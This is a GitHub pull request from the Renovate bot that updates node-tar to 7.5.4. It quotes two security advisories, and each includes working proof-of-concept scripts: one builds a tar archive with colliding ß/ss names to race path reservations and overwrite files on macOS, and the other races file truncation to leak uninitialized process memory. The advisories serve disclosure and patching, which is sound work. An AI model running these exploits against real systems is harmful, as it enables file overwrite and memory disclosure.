Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 23, 2026

This PR contains the following updates:

Package Change Age Confidence
tar 7.5.17.5.4 age confidence

GitHub Vulnerability Alerts

CVE-2026-23950

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


CVE-2025-64118

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.


Release Notes

isaacs/node-tar (tar)

v7.5.4

Compare Source

v7.5.3

Compare Source

v7.5.2

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.


Summary by cubic

Updates tar to 7.5.4 to patch recent security issues and harden archive handling. Lockfile-only change; no app code touched.

  • Dependencies
    • tar: 7.5.1 → 7.5.4
      • Fixes CVE-2026-23950 (APFS Unicode path-reservation race; symlink poisoning)
      • Fixes CVE-2025-64118 (list sync uninitialized memory read)
      • Node >=18 requirement unchanged

Written for commit eac9a43. Summary will update on new commits.

@vercel
Copy link

vercel bot commented Jan 23, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Review Updated (UTC)
react-email Ready Ready Preview, Comment Jan 23, 2026 4:49pm
react-email-demo Ready Ready Preview, Comment Jan 23, 2026 4:49pm

Request Review

@changeset-bot
Copy link

changeset-bot bot commented Jan 23, 2026

⚠️ No Changeset found

Latest commit: eac9a43

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@socket-security
Copy link

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Addednormalize-path@​3.0.01001009975100
Addedstacktrace-parser@​0.1.111001008581100
Addedpunycode@​2.3.110010010082100
Addedpostcss@​8.5.61001008283100
Addedglob@​11.1.09910010084100
Addedtsconfig-paths@​4.2.09910010086100

View full report

@socket-security
Copy link

Caution

Review the following alerts detected in dependencies.

According to your organization's Security Policy, you must resolve all "Block" alerts before proceeding. Learn more about Socket for GitHub.

Action Severity Alert  (click "▶" to expand/collapse)
Block Medium
Install-time scripts: npm esbuild during postinstall

Install script: postinstall

Source: node install.js

From: pnpm-lock.yamlnpm/esbuild@0.27.2

ℹ Read more on: This package | This alert | What is an install script?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/esbuild@0.27.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

Copy link
Contributor

@cubic-dev-ai cubic-dev-ai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found across 1 file

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants